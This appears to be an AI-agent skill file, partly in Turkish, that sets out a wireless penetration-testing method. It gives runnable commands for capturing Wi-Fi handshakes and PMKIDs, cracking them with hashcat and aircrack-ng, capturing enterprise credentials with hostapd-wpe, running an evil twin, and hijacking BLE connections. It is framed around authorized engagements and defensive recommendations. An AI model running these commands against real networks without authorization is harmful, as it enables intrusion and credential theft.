--- name: pentest-wireless-297cbe721f37 description: Wireless network pentest — WPA/WPA2/WPA3, evil twin, 802.1X enterprise, Bluetooth advisory. Triggers on wireless pentest, WiFi, WPA2, WPA3, PMKID, evil twin, deauth, Aircrack, hcxdumptool, 802.1X, Bluetooth, BLE security. license: MIT compatibility: Works with Claude Code allowed-tools: Read Write Edit Bash Grep metadata: author: badi badi-version: ">=1.24.0" category: pentest scope: advisory inspired-by: 0xSteph/pentest-ai-agents wireless-pentester --- # pentest-wireless WiFi + Bluetooth pentest advisory. Aktif wifi attack icin **engagement icinde fiziksel mevcudiyet + spectrum izni** gerekir. ## Triggers - "WiFi pentest" - "WPA2 handshake crack" - "WPA3 SAE" - "evil twin" - "deauth saldirisi" - "802.1X PEAP" - "Bluetooth pentest" - "BLE GATT" ## Methodology ``` 1. Recon: airodump-ng / kismet ile passive listen 2. Hedef tespit: SSID, BSSID, channel, encryption, client count 3. Handshake yakala: deauth + capture (WPA2) / PMKID (no client gerekmez) 4. Crack: hashcat / aircrack-ng 5. Post-conn: ARP spoofing + MITM (varsa) 6. Enterprise: EAP-PEAP relay (hostapd-wpe) ``` ## Hedef Tespiti ```bash # QUIET — passive monitor airodump-ng wlan0mon # tum AP listele airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # QUIET — channel hop monitor kismet -c wlan0 ``` ## Handshake Yakalama Yaklasimlar | Yontem | Aciklama | OPSEC | |--------|----------|-------| | 4-way + deauth | Aktif client gerekir + deauth attack | LOUD | | PMKID | Client gerekmez (modern AP zafiyet) | QUIET | | WPS PIN | WPS aktif AP brute (Reaver, Bully) | LOUD | | Evil twin | Kendi AP, kullanici phish | LOUD (yasal risk) | ```bash # PMKID capture (en sessiz, client gerekmez) hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 hcxpcapngtool -o hash.hc22000 pmkid.pcapng # Hashcat crack hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule # 4-way handshake (klasik) aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap ``` ## WPA3 SAE - Dragonblood saldirilari (CVE-2019-9494, CVE-2019-9495): downgrade + side-channel - Transition mode (WPA2 + WPA3) — WPA2 fallback ile downgrade - SAE-PT: pre-shared password tablosu offline (group-specific) ## 802.1X Enterprise ```bash # EAP relay (hostapd-wpe) — kullanici credential capture hostapd-wpe ./hostapd-wpe.conf # Cred captured -> NTLM hash crack (offline) hashcat -m 5500 hash.txt wordlist.txt ``` Onlem: cihaz sertifika dogrulamasi (Server Certificate Validation + CA pin) — kullanici onboarding'de zorunlu olmali. ## Evil Twin (Yasal Cerceve Onemli) - Sadece **kullanici izinli pentest** kapsaminda - AP'nin SSID'sini taklit eden hotspot - Kullanici cred girer -> capture - **Riski**: yanlislikla yetkili kullanici phish + GDPR ihlali ```bash # WiFi-Pumpkin / Pi-Hole AP framework # Pumpkin -i wlan0 --ssid "Corp-Guest" ``` ## Bluetooth / BLE ```bash # QUIET — passive scan hcitool lescan sudo bluetoothctl # > scan on # BLE GATT enumeration gatttool -b AA:BB:CC:DD:EE:FF -I # > connect # > primary # > characteristics # BLE replay/MITM (gatttool + spoof) # btlejack: BLE sniffer + relay btlejack -s # sniff advertisements btlejack -c any -j # hijack connection (CTF/lab) ``` ## Output Sablonu ```markdown ## Wireless Pentest — ### AP Inventaryi - "CorpWiFi" (WPA2-PSK) — handshake yakalandi, crack 3sa (zayif parola) - "CorpEnterprise" (WPA2-EAP) — PEAP relay ile 12 user cred capture - "CorpGuest" (Open) — captive portal bypass denemesi (out-of-scope) ### Bulgu - WPA2-PSK parola "Spring2024" (3sa crack) - Cert validation eksik client cihazlarda -> 802.1X PEAP relay basari ### Onerisi - PSK -> Enterprise EAP-TLS (sertifika) - Cert pin client side zorunlu - WPA3-only mode (transition mode kapat) ``` ## Out-of-Scope - Yetki disi spectrum / izinsiz radio operasyonu (CFAA + yasal risk) - Karsi taraftan deauth ile DoS (legal risk + scope-guard hard refusal) - 3. taraf konumda evil twin --- Source attribution: badi Original project: https://github.com/aibot88/sec_skill_store/blob/608120788167d56f99e31449e411e603ed250dc6/skills/claudskills/pentest-wireless/SKILL.md License: MIT License information: https://opensource.org/license/mit Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Mega AI Hub resource metadata Creator / publisher: badi Original project: https://github.com/aibot88/sec_skill_store/blob/608120788167d56f99e31449e411e603ed250dc6/skills/claudskills/pentest-wireless/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Testing Tools: Aircrack, Hcxdumptool, Hashcat, Bluetoothctl, Gatttool, Btlejack Country applicability: Country not specified Classification basis: Source category, role and specialization labels Instruction SHA-256: 5dc6aa643b262798f38d8df6e544df68ad623e7526085faab39f248d2e0c7623